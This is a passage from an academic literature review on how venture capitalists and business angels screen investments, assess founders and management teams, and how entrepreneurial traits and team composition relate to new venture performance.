anticipate holding individual investments for five to eight years with an expectation of realising a capital gain that provides the equivalent of an after-tax annualised ROI of 30 to 40% (Feeney et al., 1999). As with VCs, the key considerations for this informal group of investors are associated with the attributes of the entrepreneurs and the market/product characteristics of the business (Mason and Harrison, 1996). Despite this, relatively few business angels actually undertake detailed investigations of the entrepreneur/management team relying on instinct instead. The market for BAs is substantially larger than the institutional VC market in terms of the amounts invested at start-up. BAs may also invest alongside VCFs focused on relatively small scale start-up and early stage investments (Harrison and Mason, 2000; van Osnabrugge, 2000) using their network, technology or the entrepreneurial experience of the angel to assist in the due diligence process and in the post-investment relationship with the portfolio firm.
80% of companies VCs invest in generate only 20% of the total benefit to the fund
Business Angels provide an important source of finance for new and growing businesses
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Figure 1. Model of Business Angel Interaction
Operating
Incubators, VC Funds, Development Agencies, Banks, Stock Exchanges, etc.
Business Angel
Business Angel Network
Entrepreneur
Matching
Source: European Commission (2002)
Two-thirds of VCFs also refer deals to business angel networks (BANs), either exclusively or at the same time as they are referred to specific business angels. This suggests that BANs, which act as an introduction service for investors and entrepreneurs seeking finance, are playing an important role in linking VC and business angel markets (Harrison and Mason, 2000) (see Figure 1). BANs tend to be formed by BAs who have known one another prior to its formation, either through social or business networks. Individual network members invest directly in entrepreneurial ventures of their own choosing, generally as part of a syndicate of other members. The composition of these syndicates are likely to be fluid, varying from investment to investment (Mason and Harrison, 1996).
The VC Investment Decision Process
BANs act as an introduction service for investors and entrepreneurs seeking finance
The VC investment decision-making process is designed to reduce the risk of adverse selection criteria. The first published model of this process (Tyebjee and Bruno, 1984) focused on investment criteria based on five sequential steps i.) deal origination ii.) screening iii.) evaluation iv.) structuring and v.) post-investment activities, but did not examine the specific activities that VCs undertake. This shortcoming was later addressed by Fried and Hisrich (1994) who proposed a modified model taking into account differences observed between early and late-stage investors, and extending the screening and evaluation phases. Fifteen generic criteria common to the investments studied were identified, based on 18 case studies from U.S. VCs, which covered a variety of different industries and stages of investment. These criteria were broken down into three basic elements: concept, management and returns. However, more recent research on the VC investment decision process (Zacharakis and
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Shepherd, 2001) suggests that VCs still lack a strong under-standing of how they make investment decisions. The Business Plan VCs rely almost exclusively on the entrepreneurial business plan as a principal tool for the initial screening process, and over the past 20 years the majority of the empirical research into VC decision making has produced lists of criteria which VC practitioners say that they use for these purposes (Tyebjee and Bruno, 1984; Hall and Hofer, 1993).
Figure 2. Venture Capital Investment Decision Criteria
Evaluation
Market Attractiveness • Size of Market • Market Need • Market Growth Potential • Access To Market
Risk-Return Assessment
Decision
Expected Return
Product Differentiation • Uniqueness of Product • Technical Skills • Profit Margins • Patentability of Product
Decision to Invest
Managerial Capabilities • Management Skills • Marketing Skills • Financial Skills • References of Entrepreneurs
Perceived Risk
Resistance to Environmental Threats • Protection from Competition • Protection of Obsolescence • Protection against Downside Risk • Resistance to Economic Cycles
Source: Tyebjee and Bruno (1984)
There are four main aspects of a business plan that are used to evaluate the risk and potential profit associated with a particular deal (Tyebjee and Bruno, 1984). These are i.) marketing factors and the ventures ability to manage them effectively ii.) products competitive advantage and uniqueness iii.) quality of the management team, particularly in its balance of skills and iv.) exposure to risk factors beyond the ventures control (see
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Figure 2). However, in sharp contrast Mason and Harrison (1996) found that gaps in the management team were not strong enough to be the main factors for deal rejection by business angels in their screening process. Venture Capital firms receive a large number of business plans or proposals from entrepreneurs on an annual basis; far more than they can possibly fund with the size of the staff and the portfolio of the typical venture fund. Broad screening criteria are therefore used to initially seek out the most attractive investment opportunities and to reduce these proposals to a more manageable number based on four criteria: i) the size of the investment and the investment policy of the venture fund ii) the technology and market sector iii) geographic location and iv) stage of financing (Tyebjee and Bruno, 1984). A more recent study using verbal protocol analysis at the initial screening stage (Mason and Stark, 2004) showed that VC’s give greatest emphasis to market issues (22%) and financial issues (21%), with the entrepreneur (12%) and strategy (11%) of secondary importance.
Table 1. Valuation Activities Carried Out by Venture Capitalists
ACTIVITY Interview all members of management team Tour facilities Contact entrepreneur’s former business associates Contact existing outside investors Contact current customers Contact potential customers Investigate market value of comparable companies Have informal discussions with experts about product Conduct in-depth review of pro forma financials prepared by company Contact competitors Contact banker Solicit the opinion of managers of some of your other portfolio companies Contact suppliers Solicit the opinion of other venture capital firms Contact accountant Contact attorney Contact in-depth library research Secure formal technical study of product Secure formal market research study
HOW OFTEN (%) 100 100 96 96 93 90 86 84 84 71 62 56 53 52 47 44 40 36 31
Source: Fried et al. (1993)
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Screening Investment Opportunities The majority of studies in the investment decision-making field belong to the “espoused criteria” school, based on what VCs say they use to screen investment opportunities, or the “known attribute” school, where entrepreneurship researchers articulate clearly recognisable attributes that distinguish viable, successful ventures, from ventures that are prone to failure (MacMillan et al., 1985; Mainprize et al., 2003). In a later replication Fried et al. (1993) found similar results from surveying members of the U.S. National Venture Capital Association (NVCA) on criteria used by VCs to evaluate new venture proposals (see Table 1). Of the four criteria measured; the entrepreneur, the product, the market and the investment, entrepreneur variables proved most significant overall. However, Zacharakis and Meyer (1996) determined that past studies of this type that rely on post hoc methodologies, such as interviews and surveys, to capture the VC decision process may be biased due to poor introspection on the part of VCs, who often rely on intuition or “gut feel” (MacMillan et al., 1987; Hisrich and Jankowicz, 1990). This confirmed an earlier study by Khan (1986) who measured the extent of agreement between the judgements of VCs, as represented by a set of expected outcome rating for ventures and the actual outcomes, and found that VCs are not exceptional predictors of actual outcomes.
VCs often rely on intuition or ‘gut feel’
Table 2. Stages in the Business Angel's Investment Decision
Deal origination Deal evaluation
The investor becomes aware of the opportunity – typically through one of the following channels: chance encounter, referral from business associates or other individuals or organisations in their network, or personal search. Two stages: (i) Initial screening/first impressions: key considerations are the ‘fit’ with the investor’s personal investment criteria, their knowledge of the industry/market and their overall impression of the potential of the proposal. Also influenced by the source of the referral. (ii) Detailed evaluation: the investor will examine the business plan in detail, consult with associates, will meet the principals, take up references, research the proposal. The decision will be influenced by the potential of the industry, the business idea, impressions of the principals and potential rewards. Negotiations with the entrepreneur over valuation, deal structuring and the terms and conditions of the investment. Main factor is pricing. Investor is likely to become involved with the business in some kind of hands-on capacity, including advice and mentoring, networking, financial input and member of the board. Degree of involvement may vary according to the stage of business development and the performance of the business. Exit from the business, either because it fails or by selling their shares to another investor. Investors normally exit from successful investment by means of a trade sale.
Negotiation and contracting Post-investment involvement
Harvesting
Source: Mason (2006)
The investment decision process adopted by business angels (see Table 2) is similar in most respects to that of venture capital funds (Tyebjee and Bruno, 1984; Fried and Hisrich, 1994) but less sophisticated.
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Most business angels play an active role in their investments
Most business angels play an active role in their investee businesses. However, at one extreme there are passive investors who are content to receive occational information to monitor the performance of their investment, while at the other extreme are investors who use their investment to buy themselves a job (Mason, 2006). Methods of Human Capital Valuation Human capital theory states that people invest in themselves, through the accumulation of different types of human capital goods such as formal education and ‘productive’ knowledge and information with the potential of increasing their owner’s market and non-market productivity (Schultz, 1961). The ultimate application of human capital valuation theory is to develop methods that achieve the most accurate valuation possible, while consuming the fewest resources possible. Smart (1999a; Smart, 1999b) assessed seven possible methods of human capital assessment methods used by VCs comprising of i) Job Analysis to determine what human capital is needed for a venture to succeed ii) Documentation Analysis based on analysis of resumes, legal searches, publications, or any other written material iii) Past-oriented Interviews involving discussions with target manager about actual evens in the career history iv) Reference Interviews involving discussions with people who have witnessed a target manager’s behaviour. Possible sources of reference interviews are: personal references, supervisors, co-workers, industry players, current employees, suppliers, customers, lawyers, accountants, bankers or other investors v) Work Sample sessions in which the venture capitalist “quizzes” the target managers on issues related to the business vi) Psychological Testing and vii) Formal Assessment Centre. Based on these seven primary tools or methods available for human capital assessment, Smart (1999a) studied the human capital assessment methods used in 86 cases, which were provided by 51 venture capitalists from 48 different venture capital organisations across the United States. The results of the sample surveyed showed that psychological testing is rarely used by VCs and formal assessment centres were not used at all. Although Smart (1999a) and later Erikson and Nerdrum (2001) hypothesized that the private equity investing experience and interviewing skill of the venture capitalist were related to the accuracy of the human capital valuation, neither factor on its own had as strong an association as past-oriented interviews. This important study (Smart, 1999a) established a clear link between an investor’s approach to human capital valuation and the deal success. Yet, somewhat surprisingly, it was found that the best practices were used less frequently by VCs than the worst practices, indicating opportunities for improved IRR through more effective human capital practices. Smart (1999a) also identified several different approaches to evaluating management which he named as follows: i) Airline Captains are systematic and thorough in their collection and analysis of data, the way that an airline captain conducts pre-flight checks. They base their analysis on data rather than just intuition. ii) Art Critics make snap judgments based on intuitions. They think they can assess a person quickly, the way an art critique judges a painting. iii) Sponges soak up data in a non-systematic way
Psychological testing is rarely used by VCs
Venture Capitalists who use the ‘airline captain’ approach to human capital evaluation achieve the highest IRR
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and then analyse it unsystematically. iv) Infiltrators try to become a quasi member of the management team. They spend many weeks or months partaking in planning meetings and even visiting potential customers together with target managers prior to making an investment decision. v) Prosecutors aggressively question the target managers in a formal setting, the way a prosecution attorney questions a witness. vi) Suitors are more concerned with wooing management than assessing them, so they spend time trying to make a good impression rather than critically evaluate the management team, and vii) Terminators are convinced that it is impossible to achieve accurate human capital valuations. As a result of this study Smart (1999a) determined that venture capitalists who used the airline captain approach to human capital valuation achieved by far the highest average IRR, but surprisingly only 13% of venture capitalists used this approach. Erikson and Nerdrum (2001) went on to suggest a conceptual framework for the valuation of founder managers’ entrepreneurial potential termed entrepreneurship capital, which is based on their complementary capacity to identify new opportunities, to combine or coordinate scarce resources; and to see new initiatives through to fruition. A study of institutional portfolio managers’ investment criteria (Mavrinac and Siesfeld, 1998) suggested that 35% of an investment decision is driven by non-financial data with the top two non-financial criteria being ’execution of corporate strategy’ and ‘management credibility’. And a later study (Hay, 2001) found that since 1999 turnover at chief executive level had increased five-fold largely due to their inability to execute strategy, indicating that competence assessment at this level was becoming increasingly ineffective.
‘Terminators are convinced that it is impossible to achieve accurate human capital valuations
Venture Performance Criteria
Numerous studies of determinates of new venture potential have been conducted over the past twenty five years. Founders focusing on rapid growth are primarily concerned with sales growth, growth in market share and cash flow issues. However, Chandler and Hanks (1993) concluded that cash flow is perceived to be significantly more important than return on assets (ROA), return on investment (ROI), net worth and market share. In turn, sales growth, net profits, and return on sales are perceived to be significantly more important than ROA, ROI or market share, while net worth is perceived to be more important than ROA. In reality there is a major issue in measuring the performance of emerging businesses due to the willingness of VCs and private investors to disclose information. Because of the difficulties in obtaining rate of return (ROR) data for private portfolio investments, due primarily to the associated confidential and comparability issues, a survey of 80 U.S. VC firms, made a distinction between “winners”, “living dead”, and “losers” for classifying investments (Ruhnka et al., 1992). The “winners” were seen as producing adequate multiples of return on investment, while “losers” resulted in a loss of invested funds and “living dead” investments represented the middle ground. Although “living dead” investments generally maintain a positive cash flow and meet their debt obligations, they do not generate enough revenue growth or profitability to fulfil their investors’ expectation.
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69% of otherwise sound investments fail due to bad management
Although much emphasis has been placed on the importance of entrepreneurial teams in the venture capital investment decision making process, surprisingly little research, apart from team demographics, has been conducted in this area. The result of a survey commissioned by SJ Berwin (2003), which canvassed the views of over 300 senior European venture and buyout investors across the U.K, France, Germany and Spain, found that 69% of otherwise sound venture capital investments that failed were due to bad management. In contrast 14% failed due to flawed business models and 17% due to external shocks such as natural disasters. The survey concluded by posing the question “If management does play such a pivotal role, it has to be asked why the quality of assessment remains so patchy?”.
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Chapter 2: Growth Entrepreneurship
This chapter reviews the literature on the various attributes of successful entrepreneurs. Particular focus is given to the experience and personality of lead entrepreneurs, and the charateristics of their top management teams in terms of their composition and interactions. Various measures of new venture potential are also considered.
The term ‘entrepreneur’ can be traced back to 1734 when Richard Cantillon2 first introduced it into economic literature. There has since however been a lack of unanimity among economists in their attempt to identify the components of entrepreneurship (Cuevas, 1993/94). So much so that some early academic papers (Hull et al., 1980; Perry, 1990) attempted to define the psychological characteristics of entrepreneurs by using the analogy of A. A. Milne’s mythical Heffalump in his book Winniethe-Pooh, which “comes in every shape and size and colour”. Perhaps somewhat more surprisingly, entrepreneurship has also been compared to pornography (Mitton, 1989) (see panel).
Attributes of Entrepreneurs
A survey of leading U.S. academic researchers in entrepreneurship, business leaders and politicians in which respondents were asked for their definition of ‘entrepreneurship’ resulted in a wide range of viewpoints that provided no single or concise definition for the term (Gartner, 1990). The concept of entrepreneurship has also been linked to many different levels including the individual, groups and “whole organisations”. Entrepreneurial orientation represents entrepreneurial processes that address the question of how new ventures are undertaken, whereas (Lumpkin and Dess, 1996) suggested the term entrepreneurship refers to the content of entrepreneurial decisions by addressing what is undertaken. However, Ronstadt (1984) seems to have captured the essence of the term in his own definition:
”.
Entrepreneurship and pornography have a lot in common: they are both hard to define
There is increased recognition that entrepreneurship can involve the purchase of an existing company as well as the creation of a new one, and that leading individuals in MBOs and MBIs display similar characteristics and motivations to those of entrepreneurs generally (Wright et al., 2000). It is also important to note that ‘one can be entrepreneurial without being
2
Little is known about Cantillon except that he was Irish and turned briefly from a successful banking career, mainly in France, to write what is considered one of the most outstanding works in economic history Essay on the Nature of Commerce (1755, 1959).
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self-employed and self-employed without being entrepreneurial’ (Utsch et al., 1999).
Figure 3. Defining the Entrepreneur High High
INVENTOR Creativity and Innovation PROMOTER MANAGER, ADMINISTRATOR ENTREPRENEUR
Low
General management skills, business know-how, and networks
High
Source: Timmons and Spinelli (2003)
In an effort to distinguish the basic attributes of entrepreneurs from the attributes of other more common business roles Timmons and Spinelli (2003) developed a simplified model (see Figure 3). This model clearly differentiates the inventor and manager/administrator who might also like to consider themselves as entrepreneurs but lack the necessary skills of creativity and innovative, or general management and networking. Bolton and Thompson (2004) on the other hand differentiated the general business entrepreneur in terms of the strategy which they adopt. i.) The enterprising person - who establishes a small or micro business which has only limited growth potential and creates a limited number of jobs. ii.) The entrepreneur – who creates a significant business by finding important ways to compete effectively and out-perform rival organisations while remaining firmly in control. They might also sell their business once it reaches a certain size then start a new one from scratch. iii.) The growth entrepreneur – who creates a sustained high-growth business adding to the products, services and markets it begins almost certainly becoming international in its reach. They are also leader-entrepreneurs who habitually champion new ideas which regularly give the business a fresh impetus.
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An additional category of Ultrpreneur (Arkebauer, 1993) has also been introduced to describe ultra high growth entrepreneurs who are capable of taking a venture from start-up to harvest in three years or less.
Growth Entrepreneurs
This paper primarily considers the activities of growth entrepreneurs who establish themselves in a corporate form, and who must therefore be assumed to be more ambitious than entrepreneurs generally (Kjeldsen and Nielson, 2000), which is a key criteria for VCs. This category of entrepreneur is distinct from business owners in general, which includes the self-employed entrepreneur and the leisure entrepreneur who starts a relatively low level activity. Economist David Birch coined the name Gazelles to describe a group of American businesses that had demonstrated at least 20% sales growth every year from 1990 to 1994, starting with a base of at least one hundred thousand US dollars (McGrath, 2002), which equates to just over a doubling in sales during this period. Although this phenomenon is not generally referred to in academic literature, it is a phrase that is regularly used in the business press to describe high growth companies. Interestingly, Inc. Magazine (Case, 1996) noted that at the time, Gazelles represented no more than 3% of all American businesses. When evaluating venture proposals, MacMillan et al. (1985) found that just under half the VCs surveyed in their study would not even consider a venture which does not have a balanced team for the venture, and above all it was the quality of the entrepreneur that ultimately determined the funding decision, with five of the top ten most important criteria being concerned with the entrepreneurs’ experience or personality. This poses the question: If this is the case, then why is so much emphasis placed on the business plan that generally has little to indicate the characteristics of the entrepreneur? While it is important to provide detail discussion on the product/service, the market and the competition, this is not enough. The entrepreneur must be able to demonstrate that he has staying power, has a track record, can react well to risk, and has familiarity with the target market (MacMillan et al., 1985). Alternately he/she must be capable of building and leading a management team with these characteristics. Three types of factors have been used to identify the characteristics of entrepreneurs: demographic variables, such as family background, age, education and experience; psychological variables, such as need for achievement, need for power, locus of control, attitudes towards risk and tolerance of ambiguity and; behavioural variables, such as initiative, energy and drive, self-confidence, persistence, realism and openness to criticism (Hofer and Sandberg, 1987). However, although some of these factors, especially the demographic and psychological variables, can be used to predict the likelihood that someone will seek to start a new venture, most demographic factors, including both education and experience, were found to have little impact on new venture success. Founder Competences and Experience Many of the general studies of entrepreneurship have equated the term “entrepreneur” with “founder-manager” (Lorrain and Dussault, 1988).
Ultrapreneurs are capable of taking a venture from start-up to harvest in three years or less
Gazelles grow at 20% per year for a minimum of consecutive four years
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Chandler and Jensen (1992) measured founder competence by breaking it down into three scales: i. entrepreneurial competence consisting of a) ability to accurately perceive unmet consumer needs, b) time and energy spent looking for products or services that provide real benefit to customers and c) ability to identify the goods and services people want. ii. management competence consisting of a) ability to achieve results by organising and motivating people, b) ability to organise resources and tasks, c) ability to keep an organisation running smoothly and d) ability to supervise, influence and lead people. iii. drive consisting of a) extremely strong internal drive to see venture through to fruition, b) make venture succeed no matter what gets in the way and c) persistence in making the venture succeed. At least three functional managerial capabilities are also assessed in terms of the management skills, marketing skills and financial skills of individual venture team members (Tyebjee and Bruno, 1984). These and other key founder competences are confirmed or otherwise by taking out character references on team members for comparison against information provided to VCs during interviews or detailed within the venture proposal. During their investment decision process VCs consider the capabilities of the founding team, where novice founders are individuals with no previous experience of founding a business, and habitual founders have established at least one other business prior to the start-up of the current new independent venture. Although VCs may consider prior founder experience desirable, it is not an indication that the founder is able to identify an opportunity the second time around which can achieve greater performance than the first (Birley and Westhead, 1993). There is also no evidence to suggest that new businesses established by habitual founders with prior experience of business venturing are particularly advantaged compared to their less experienced counterparts. When comparing the prior experience of founders Westhead and Wright (1997) established; novice founders were found to be significantly more likely to start a business in the same industry as their last employer, with portfolio founders being more likely to have changed their industry focus. Habitual founders, particularly serial founders, are significantly more likely to have worked in a small firm with less than 100 employees prior to start-up. Whereas in marked contrast, significantly more novice founders rather than habitual founders are more likely to have worked in a large firm with more than 1,000 or more employees prior to start-up. Others (Carland and Carland, 1997) took a broader view of entrepreneurs, suggesting three distinct forms of owner/managers of businesses who differ in terms of their personality and business objectives. Microentrepreneurs seek freedom and family support, while entrepreneurs pursue wealth and accolades. However, as soon as the objectives of both these types are satisfied they turn away from entrepreneurial activities. Macroentrepreneurs, on the other hand, pursue growth and profits to the
VCs consider prior founder experience desirable
Novice founders are more likely to start a business in the same industry as their last employer
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exclusion of personal considerations and seek to revolutionize or dominate the industries in which their businesses are involved. Entrepreneurial Personality Types Minor (1996) found substantial support for the conclusion that four different personality patterns found in entrepreneurs exert a dominant influence on the subsequent success of entrepreneurial ventures. The study consisted of 100 established entrepreneurs in Buffalo, New York who were accumulated over a 7-year period. The firms of these entrepreneurs included both service and manufacturing of which 49% were start-ups, 21% had more than one partner (i.e. an Entrepreneurial Team) and 12% were involved in some type of MBO/MBI. Various psychological tests and questionnaires were administered and the scores were assigned to clusters to measure each of the four personality patterns based on conceptual considerations. i. Personal Achievers have a need to achieve, a desire for feedback, a desire to plan and set goals, strong personal initiative, a strong personal commitment to their organisation, a belief that one person can make the difference, and a belief that work should be guided by personal goals, not those of others. ii. Empathetic Super Salespeople have a capacity to understand and feel with others, a desire to help others, a belief that social processors are very important, a need to have strong positive relationships with others, and a belief that a sales forces is crucial to carry out company strategy. iii. Real Managers indicate a desire to innovate, a desire to be a corporate leader, decisiveness, positive attitudes to authority, a desire to complete, a desire for power and a desire to stand out from the crowd. iv. Expert Ideas Generators exhibit a desire to innovate, a love of ideas, a belief that new product development is very important for company strategy, good intelligence, and a desire to avoid taking risks. Two additional scores were generated to describe what are referred to as Complex Entrepreneurs, which consisted of a number of key entrepreneurial patterns the individual possessed, along with the sum of the four patterns (Minor, 1996). One of the realities of new venture development is that no one person can do the entire job themselves. Successful entrepreneurs therefore seek the best people to support them, share the rewards of their success and create a climate that encourages people to do their best (Hofer and Sandberg, 1987). Begley and Boyd (1987) examined the prevalence of five psychological attributes in founders (i.e. entrepreneurs) and non founder small business managers. i. need for achievement - high achievers set challenging goals and value feedback as a means of assessing goal accomplishment. They compete with their own standards of excellence and continuously seek to improve their performance
One of the realities of new venture development is that no one person can do the entire job themselves
Successful entrepreneurs seek the best people to support them
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ii. locus of control - perceived ability to influence events in ones life iii. risk-taking propensity - likelihood of risk taking iv. tolerance of ambiguity - when there is a lack of sufficient cues to structure and situation. v. type A behaviour - impatience and irritability, time urgency, driving ambition, accelerated activity, and generalized competitiveness. It was established that founders had a higher need for achievement, higher risk-taking propensity and higher tolerance of ambiguity than non founders. However, there was no difference in the two groups’ locus of control and Type A tendencies. The relationship between these “entrepreneurial” attributes and the financial performance of the firm were also considered but none was found. Lead Entrepreneurs A study of owner/managers from the inc.500 list of the fastest growing firm in the United States set out to determine the existence of a lead entrepreneur (Ensley et al., 2000). While the owner and manager of a firm is considered to be an entrepreneur, a group of owners and managers of the same firm is considered to be a group or team of entrepreneurs. However, Ensley et al. (2000) found that some characteristics of the lead entrepreneur (i.e. the chief executive) were found to positively effect the performance of these ventures. While the results of the study suggest that planning, recognising opportunities, and evaluating the organisation are skills which all of the members of the entrepreneurial team members possessed, lead entrepreneurs had the entrepreneurial vision to see what is not there and the self-confidence to make that vision real. As a result, these high growth lead entrepreneurs were classified (somewhat tongue in cheek) as alpha heffalumps. A more recent study by Ciavarella et al. (2004) used the Big Five personality attributes (Costa and McCrae, 1997) to explore the impact of psychological characteristics of the lead entrepreneur on the survival of a new venture. The five factors of personality are i) extraversion, ii) emotional stability, iii) agreeableness, iv) conscientiousness, and v) openness to experience. The results of this study indicated that neither extraversion nor emotional stability, nor agreeableness was predictive of the likelihood of long-term new venture survival, although an entrepreneur’s conscientiousness and openness to experience were positively related. This seems to suggest that those who stick to the task at hand rather than being open to a variety of opportunities are better suited to lead the venture to maturity. Technology-Based Entrepreneurs Increasing attention has been focused on technology-based entrepreneurs, primarily due to the dependence of technology-based ventures on their high degree of technology expertise, which is translated into new technologies, products or processes. Cooper (1971) describes a
Lead entrepreneurs have the entrepreneurial vision to see what is not there and the self confidence to make that vision real
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technologically-based firm as “a company which emphasises research and development or which places major emphasis on exploring technical knowledge. It is often founded by scientists or engineers, and usually includes a substantial percentage of professionally technically trained personnel”. Although there have been numerous studies of such individuals compared to the general population of entrepreneurs, JonesEvans (1995) found from his own in-depth study that it was possible to classify individual technical entrepreneurs into four broad categories, namely “research” (previously referred to as the academic or scientist entrepreneur), “producer”, “user” and “opportunist” (see Table 3). The “ideal” high-tech company, regardless of the industry sector, will be able to IPO with a prestigious underwriter less than five years after the first venture capital has been invested, or be acquired at a comparable valuation (Bygrave, 1998).
Table 3. Type and Background of Technical Entrepreneurs
Type of technical entrepreneur “Research” technical entrepreneur Sub-category and/or background i) “Pure research” technical entrepreneurs: Where the owner-managers’ entire career prior to start-up occurs in a research organisation such as academic or government/non-profit organisational laboratories ii) “Research-producer” technical entrepreneurs: Where the owner-managers, despite spending the majority of their careers in academic research positions, have minor experience of the commercial organisational background associated with the “producer” technical entrepreneur, usually in a research department as: a) b) industrial scientists who began their career in manufacturing companies, before undertaking a research position in an academic institution or academic researchers who have moved from a research environment into a commercial organisation
“Producer” technical entrepreneur: “User” technical entrepreneur
Where the entrepreneur has been involved in the direct commercial production or development of a process, usually in a large organisation i) “Pure user” technical entrepreneur: Where the entrepreneur is wholly involved as end-users in the application of a particular technology ii) “User producer” technical entrepreneurs: Where the entrepreneur has pervious experience of both the development and production of technology, as well as involvement in developing specific expertise in the marketing of technical products
“Opportunist” technical entrepreneur:
Where the entrepreneur has identified a technology-based opportunity and, while initiating and managing a small technology-based venture, either has little or no technical experience or whose previous occupational experience was within nontechnological organisations
Source: Compiled from Jones-Evan (1995)
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Measures of Success
The result of Hofer and Sandberg’s (1987) study indicated that the primary linkage between new venture success and the entrepreneur seemed to involve the entrepreneurs’ behavioural characteristics. Stuart and Albetti (1987) described fifteen factors contributing to initial start-up success based on five main categories including market, innovation, strategy, organisation and leadership, which comprised of high levels of entrepreneurship, experience and a well-balanced team of three or more persons. Coincidently Sandberg and Hofer (1987) suggested that new venture performance (NVP) is a function of the characteristic of the entrepreneur (E), the structure of the industry in which the venture competes (IS), and its business strategy (S) as indicated below. NVP = ƒ(E, IS, S) Herron and Robinson (1993) combined this model with that of Hollenbeck and Whitener’s (1998) model (see Figure 4), which indicated the causal impact of personality traits on performance, moderated by ability and moderated by motivation, to create an enhanced value creation performance model (VCP).
The primary linkage between new ventures success seems to involve the entrepreneurs’ behavioural characteristics
Figure 4. Enhanced Value Creation Performance Model
Personality Traits
Strategy
Aptitude
Motivation
Context
Skill
Behaviour
VCP
Training
External Environmental Structure
Source: Herron and Robinson (1993)
A decade later Chrisman (1998) reviewed 62 research models used in studies of new venture performance. He suggested that despite the importance and appeal of the model proposed by Sandberg and Hofer (1987) it was incomplete, and there are other variables that can affect the performance of new ventures that go beyond the skills and behaviour of its founders, the form of its strategies, and the structure of the industry.
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More specifically, Sandberg and Hofer’s (1987) model does not include the resources (R), upon which a venture’s business strategy (BS) must be based, or the organizational structure, processes, and systems by which the venture’s strategy (OS) must be implemented as shown in the enhanced functional relationship indicated below. NVP = ƒ(E, IS, BS, R, OS) Some entrepreneurship scholars began to suggest that stronger links might be observed by expanding the scope of analysis to study the characteristics and competencies of entrepreneurial teams and their linkage with new venture performance. For instance, Roure and Keeley (1990) developed and tested a model using these assumptions and found that team completeness and prior joint experience were strongly associated with superior firm performance, whereas the individual entrepreneur’s various forms of experience had no effect. Entrepreneurial Teams In 1987 the Harvard Business Review published an article in which Robert Reich, former U.S. Secretary of Labour, argued that “the time had come for entrepreneurship to be reconsidered, for the elevation of the team to the status of hero, and for the acceptance of the concept of multiple founders” (Reich, 1987). However, it was not until some time later that researchers into entrepreneurship started to refer to new venture; ‘founders’, ‘founding teams’, ‘senior management teams’ or ‘top management teams’ as Entrepreneurial Teams . It has been speculated that entrepreneurial teams and employees could be filling the gaps in competencies exhibited by the primary founder of the company (Sandberg, 1992). Taken in concert, studies of this type have led to a belief that team founded ventures have a greater likelihood of success than those founded by solo entrepreneurs. Drucker (1985) proposed that “building a top management team could be the single most important step towards entrepreneurial management in a new venture” and since Hambrick and Mason’s (1984) seminal work on top management teams’ demographic characteristics, organisation and strategy researchers have extended their “upper echelons” theory to predict the top management team (TMT) characteristics that will be reflected in team performance. Vyakernam et al (2000) later suggested that as “there is no such thing as a perfect manager, and there is also unlikely to be a perfect entrepreneur too”. Consequently an entrepreneurial team; a combination of people with different personality characteristics, knowledge and skills is likely to be more reliable in creating a successful enterprise process. These teams form over unspecified time periods, through four main stages (Vyakarnam et al., 2000). Initially the team spontaneously forms around a business idea or opportunity, where the entry to the team is guided by personal attraction, common interests, values and complementary skills. As the team grows and additional managers are recruited, an inner and outer team emerges, the former being loyal to the founders and the original vision of the business. The team then moves on to become more strategic and formal, and eventually as the business matures, loyalties shift away from the founders towards the overall business.
The time has come for entrepreneurship to be reconsidered, for the elevation of the team to the status of hero
Building a top management team could be the single most important step towards entrepreneurial management in a new venture
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Team Demographics Although studies investigating new venture teams and new venture performance are limited, a number of studies have investigated the demographics of top management teams and subsequent firm performance in larger, more established organisations (Wagner et al., 1984; Wiersema and Bantel, 1992; Haleblian and Finkelstein, 1993; Smith et al., 1994; George and Chattopadhyay, 2002). Top teams with broad functional experience, multiple firm employment, and broader educational training outperformed those that did not, both within and across industries (Norburn and Birley, 1988). The mixture of backgrounds, knowledge, and skills known as demographic heterogeneity, as well as cognitive style influences a team’s strategic choices and hence the organisation’s performance (Hambrick and Mason, 1984). A study of the top management teams from 199 state chartered and national banks located in six Midwestern states, found that the more innovative banks were managed by more educated teams who were diverse with respect to their functional areas of expertise (Bantel and Jackson, 1989). These findings were also supported by Hitt and Tyler (1991) who determined that the extent of the influence of a management team’s demographics was significant, both directly and as a moderator. In a small group, the addition of one person can increase team heterogeneity substantially (Bantel and Jackson, 1989). Thus team demography is indirectly related to subsequent performance through team processes (Smith et al., 1994). Of all the external influences of success, demographics are considered unambiguous and have the most predictable consequences (Drucker, 1985). Team Member Diversity While it appears quite clear that start-up team characteristics play a vital role in the ultimate success or failure of an entrepreneurial business ventures, we still know little about the dynamics associated with entrepreneurial team composition and development. Most entrepreneurial teams consist of friends, relatives and/or associates from former employers or educational institutions, indicating that they emerge from existing relationships, often without consideration of members’ capabilities to successfully launch a new business, indicating that team members are selected based on common interests and not on the unique functional diversity added by each team member (Chandler and Hanks, 1998). Therefore functional diversity is either developed by existing team members or acquired by hiring from outside. Three different conceptualisations of functional diversity (Bunderson and Sutcliffe, 2002) have been defined as: i. dominant functional diversity - diversity in different functional areas within which team members have spent the greater part of their careers ii. functional background diversity - diversity in the complex functional backgrounds of team members
Team demographics are indirectly related to subsequent performance through team processes
Most entrepreneurial teams consist of friends relations and/or associates from former employers or educational institutions
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iii. functional assignment diversity - diversity in team member functional assignments Teams composed of functionally broad individuals will be better at sharing information than teams composed of functional specialists, which has significant implications for team process and performance. Team members that do not contribute unique functional diversity tend to drop out of the team within the first few years. As a result individual team member’s team tenure can cause considerable upheaval in the early years of the venture (Chandler and Hanks, 1998; Ucbasaran et al., 2001). Team Conflict and Cohesion Benefits gained through functionally diverse teams may be overridden by affective conflict which can result from such diversity (Amason, 1996). Affective conflict occurs when team members develop hard feelings towards each other in conflict situations, which result in poorer quality decisions and less acceptance of those decisions. Conversely the process of developing a shared understanding is the outcome of strategic decisions and the resulting cognitive conflict (Amason, 1996). Cognitive and effective conflict in TMTs are directly related to shared cognition, or thinking at a group level, and as a result both cognitive conflict and affective conflict are related to some dimension of organizational performance (Ensley and Pearce, 2001). Strong team leaders create an environment where team members understand that conflict is beneficial (Hay, 2001). Teams that are able to take advantage of any conflict or disagreement by keeping it task focused and constructive should outperform those for whom the disagreement becomes personally focused and destructive (Ensley et al., 2002). Conversely dysfunctional group dynamics can lead to errors in judgment and flawed decisions. Janis (1982) highlighted the problems caused by groupthink due to pressures of conformity that arise within cohesive senior groups. Team Size The number of members in an start-up team is associated with the growth of start-ups (Doutriaux, 1992). Belbin’s (1981) study of executive teams found that eight-man teams performed better than those larger or smaller. When teams are involved in high rates of activity, there is a danger that larger (10+ people) or medium-sized (4 people) teams become inefficient due to problems arising from coordinating its various parts. However, in a study of US high technology companies based in Ireland, Flood et al. (2001) found that top management team size ranged from two to eleven members, with an 